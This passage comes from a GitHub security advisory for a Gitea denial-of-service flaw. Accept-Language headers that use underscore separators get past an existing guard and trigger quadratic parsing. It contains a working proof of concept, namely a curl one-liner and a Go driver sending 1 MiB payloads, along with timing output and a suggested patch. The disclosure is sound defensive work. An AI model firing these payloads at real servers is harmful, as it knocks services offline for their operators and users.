registers the middleware on its router\nin `routers/web/web.go`). The middleware sequence is:\n\n1. The request enters `Locale(resp, req)`.\n2. `req.URL.Query().Get(\"lang\")` returns \"\" (attacker omits `lang`).\n3. `req.Cookie(\"lang\")` returns nil on a fresh client (attacker uses a\n   fresh client, or simply does not send the cookie).\n4. `req.Header.Get(\"Accept-Language\")` returns the full attacker-supplied\n   header value.\n5. `language.ParseAcceptLanguage(...)` runs unfiltered.\n\nNo size or character class filter is applied between (4) and (5).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and\ntimes one request against a fresh `gitea/gitea:1.22.6` container:\n\n```bash\ndocker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6\nsleep 8\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:13000/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the\nscanner\u0027s `len \u003c= 8` tag-length check at\n`golang.org/x/text/internal/language/parse.go` and triggers a `gobble`\ncall that `runtime.memmove`s the entire remaining buffer. With N invalid\ntokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `gitea/gitea:1.22.6`)\n\nA Go driver `poc.go` that boots the container, sends a 1 MiB\n`Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and\nonce with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:13000/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) \u003c= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := \u0026http.Client{\n        Timeout: 60 * time.Second,\n        Transport: \u0026http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  \u0027_\u0027=%d  \u0027-\u0027=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n    send(\"attack (\u0027_\u0027 x 1MiB)\",     buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the\nofficial `gitea/gitea:1.22.6` image with no other tuning):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\ngo-gitea/gitea 1.22.6 Locale middleware at\nmodules/web/middleware/locale.go:38.\n\nTarget: http://127.0.0.1:13000/\n\n  warm-up (no header)              header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=18.079666ms\n\n--- measurements (single request each) ---\n  baseline (no header)             header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=6.480333ms\n  baseline (1 short tag)           header=5 B  \u0027_\u0027=0  \u0027-\u0027=1  status=200  t=5.0455ms\n  guard-fires control (\u0027-\u0027 x 1MiB) header=1048572 B  \u0027_\u0027=0  \u0027-\u0027=104857  status=200  t=26.020625ms\n  attack (\u0027_\u0027 x 1MiB)              header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=2.159538333s\n  attack repeat 2                  header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.938493583s\n  attack repeat 3                  header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.679953042s\n```\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 1 - 7 ms    |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms       |\n| 1 MiB `_` separators (guard bypassed)    | 1 MiB        | 1.7 - 2.2 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still\nwork on the canonical separator: a 1 MiB `-` payload returns in 26 ms\nbecause the parser short-circuits with `ErrTagListTooLarge`. The `_`\nattack returns 200 from the same endpoint but consumes ~2 s of server\nCPU because the guard did not fire and the quadratic scanner ran to\ncompletion.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2 seconds per 1\n  MiB request.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a\n  10-core Gitea instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as\n  abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Gitea installations published to the public internet (the\n  common pattern) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter before reaching\n`ParseAcceptLanguage`. The smallest change that preserves the existing\nbehaviour for legitimate Accept-Language headers is to count `_`\nalongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// modules/web/middleware/locale.go\nconst maxAcceptLanguageSeparators = 32 // matches typical real browser values\n\nif len(lang) == 0 {\n    al := req.Header.Get(\"Accept-Language\")\n    if strings.Count(al, \"-\")+strings.Count(al, \"_\") \u003e maxAcceptLanguageSeparators {\n        // Refuse to call into the BCP 47 parser with absurd input.\n        al = \"\"\n    }\n    tags, _, _ := language.ParseAcceptLanguage(al)\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\nA real Accept-Language header from a browser contains under 10\nseparators, so a ceiling of 32 leaves plenty of headroom while making\nthe quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future\nupstream fix is the right long-term solution; the change above is\ndefensive in depth at the only call site that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-fw57-jgch-pgf3",
  "modified": "2026-07-21T21:15:47Z",
  "published": "2026-07-21T21:15:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f452c369acc9f1bd05ec6ef9c2e4399062dd6da1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.